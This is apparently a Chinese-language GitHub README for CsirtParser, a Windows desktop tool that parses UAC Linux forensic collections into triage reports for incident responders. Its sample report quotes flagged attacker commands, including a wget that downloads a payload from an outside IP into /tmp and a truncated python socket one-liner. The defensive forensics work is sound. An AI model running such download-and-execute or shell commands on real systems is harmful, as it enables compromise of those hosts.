JuggeM/CsirtParser.WPF
GitHub: JuggeM/CsirtParser.WPF
一款用于解析 UAC Linux 取证集合的 Windows 桌面工具,快速输出可行动的 QuickWins 报告。
Stars: 0 | Forks: 0
# CsirtParser
一个用于解析和分类 [UAC(Unix Artefact Collector)](https://github.com/tclahr/uac) 取证集合的 Windows 桌面应用程序。专为 DFIR 分析员设计,能够快速从原始收集数据转向可操作的调查结果。

## 功能
CsirtParser 摄取 UAC `.tar.gz` 归档文件,提取内容并运行一系列解析器。所有发现结果会写入 `QuickWins.txt` / `QuickWins.rtf` 报告以及每个解析器对应的标准化 CSV 文件,以便导入 SIEM 或时间线工具。
**包含的解析器**
| 解析器 | 来源 | 检测内容 |
|---|---|---|
| 认证 / 安全 | `auth.log`, `secure` | SSH 暴力破解、root 登录、PAM 失败、sudo 滥用 |
| 系统日志 | `syslog`, `kern.log` | 内核崩溃、OOM 杀死、段错误、硬件错误、cron 执行 |
| 消息 | `/var/log/messages` | 系统守护进程事件、内核消息 |
| 审计 | `audit.log` | execve、文件访问、权限变更(auditd) |
| Web 日志 | Apache / Nginx 访问日志 | SQL 注入、路径遍历、RCE 探测、IP 暴力破解 |
| 计划任务扫描 | `/etc/cron*`, `/var/spool/cron` | 在计划任务定义中植入的持久化攻击 |
| systemd Journal | `user-*.journal` | 用户级 sudo、SSH、Shell 执行(二进制 journal 格式) |
| Bash 历史 | `.bash_history` | 反向 Shell、凭证访问、投放器、横向移动、反取证 |
| Docker | 容器日志与事件 | 特权容器、异常镜像拉取 |
| 实时响应 | UAC 实时数据 | 账户、sudoers、网络状态、路由 |
| Body 文件 | `bodyfile.txt` | 基于评分的文件时间线 — 投放工具、Webshell、暂存区 |
| SHA1 哈希 | `hash_executables.sha1` | 按路径、名称与扩展名评分的可疑可执行文件 |
| 进程 | `ps aux` 快照 | 从可疑路径运行的进程 |
| 网络 | `netstat`, `ss` | 监听端口、已建立连接 |
| 持久化 | rc.local、systemd 单元 | 启动持久化机制 |
| 文件系统 | `find`, `stat` 输出 | SUID 二进制、最近修改文件、世界可写目录 |
## 要求
- Windows 10 / 11
- [.NET 8 Desktop Runtime](https://dotnet.microsoft.com/en-us/download/dotnet/8.0)
- UAC 收集文件(`.tar.gz`、`.tgz` 或已解压)
## 案例文件夹结构
CsirtParser 期望特定的文件夹布局:
```
CaseFolder\
├── Upload\ ← drop UAC .tar.gz archives here
│ ├── uac-hostname-2024-11-14.tar.gz
│ └── uac-dbserver-2024-11-14.tar.gz
└── Decompressed\ ← auto-created on scan; or extract here manually
```
输出文件写入:
```
CaseFolder\
└── Processed\
└── uac-hostname-2024-11-14\
├── QuickWins.txt ← main analyst report (plain text)
├── QuickWins.rtf ← formatted report (Word / WordPad)
├── Normalized_AUTH.csv ← normalised log rows, Splunk-ready
├── Normalized_SYSLOG.csv
├── Normalized_BASH.csv
├── Sessions_AUTH.csv ← SSH session timeline
├── SHA1_Candidates.csv ← scored executable hashes
└── ProcessedBodyFile.csv ← body file timeline
```
## 快速开始
1. 打开 CsirtParser
2. 在 **Case Setup** 选项卡中设置案件名称、分析员姓名,并浏览到案件文件夹
3. 点击 **Scan** — `Upload\` 中的 UAC 归档文件会自动提取
4. 在 **Parsers** 选项卡中切换要运行的解析器(默认全部启用)
5. 在 **Detection** 选项卡中根据需要调整暴力破解阈值与关键词列表
6. 点击 **Run** — 结果会出现在 `Processed\` 中,日志窗格显示进度
7. 在案件文件夹中打开 `QuickWins.rtf` 开始分析
## 快速报告
报告结构便于快速分类:
```
########## Timeline Coverage ##########
First Log Entry: 2024-11-01 08:12:04 UTC
Last Log Entry: 2024-11-14 03:04:11 UTC
########## [GLOBAL] Summary ##########
[AUTH] Files: 4 | First: ... | Last: ... | Suspicious: 12
>> [BRUTEFORCE] 185.220.101.47 — 847 failed attempts
[BASH] Files: 3 | Suspicious: 9
>> [HIGH] user=root: wget -O /tmp/.x http://185.220.101.47/elf64
########## [AUTH] Suspicious Findings ##########
>> [AUTH] [BRUTEFORCE] 185.220.101.47: 847 failed SSH attempts ...
########## [BASH] Suspicious Shell History ##########
>> [BASH] [HIGH] [2024-11-14 02:17:43 UTC] user=root: wget -O /tmp/.x ...
>> [BASH] [HIGH] [2024-11-14 02:18:04 UTC] user=root: python3 -c 'import socket...'
>> [BASH] [LATERAL] [2024-11-14 02:44:37 UTC] user=root SSH→ 10.0.0.12 as deploy
```
各严重性等级说明:
| 标签 | 含义 |
|---|---|
| `[HIGH]` / `[CRITICAL]` | 接近确定的攻击行为 — 优先审查 |
| `[BRUTEFORCE]` | IP 超过失败登录阈值 |
| `[SUSPICIOUS]` | 值得审查,但非自动判定为恶意 |
| `[LATERAL]` | 到其他内网主机的 SSH 连接 |
| `[MEDIUM]` | 信息性,提供上下文 |
## 检测设置
所有阈值与关键词列表均可在 UI 中配置,无需重新编译:
- **暴力破解阈值** — 失败登录次数达到后标记 IP(默认:5)
- **Web RPM 阈值** — 每分钟请求数达到后标记 Web IP(默认:50)
- **等级 1 / 等级 2 关键词** — 自定义关键词用于升级发现结果
- **白名单模式** — 路径用于忽略部分发现
- **Body 文件设置** — 最小评分、时间窗口、关键词列表、白名单前缀
## 添加解析器
所有解析器均继承自 `LogFileParser`(位于 `Helpers/`),并实现 `ParseFile(string filePath)`。要添加新解析器:
1. 创建继承 `LogFileParser` 的类并声明 `IAttachNormalizedWriter`
2. 重写 `ParseLog(...)` 以实现检测逻辑
3. 添加发现逻辑(静态 `DiscoverFiles(string collectionRoot)`)
4. 在 `ParserConfig.cs` 中添加 `ParseXxx` 开关
5. 按照现有解析器模式将其接入 `ParserOrchestrator.ProcessLogs(...)`
6. 在 `ParsersView.xaml` 中添加卡片
可参考 `BashHistoryParser.cs` 或 `CrontabScanner.cs` 获取完整示例。
## 安全提示
CsirtParser 处理来自潜在受妥协系统的工件。请在隔离的分析虚拟机中运行,不要在日常工作站上使用。切勿在连接生产网络的机器上打开不可信的 UAC 归档文件。
## 感谢
基于 [UAC(Unix Artefact Collector)](https://github.com/tclahr/uac) 构建,由 Teo Chua 开发。UAC 负责收集 — CsirtParser 负责分析。
## 许可证
MIT — 参见 [LICENSE](LICENSE)
标签:Auth日志, Bash历史, CIDR输入, Docker, Hash分析, HTTP请求, Linux取证, QuickWins报告, SIEM集成, Syslog, UAC, Web日志, WPF, 取证工具, 安全防御评估, 实时响应, 审计日志, 开源取证, 数字取证, 文件时间线, 日志解析, 桌面应用, 网络连接, 自动化脚本, 证书伪造, 进程快照, 速率限制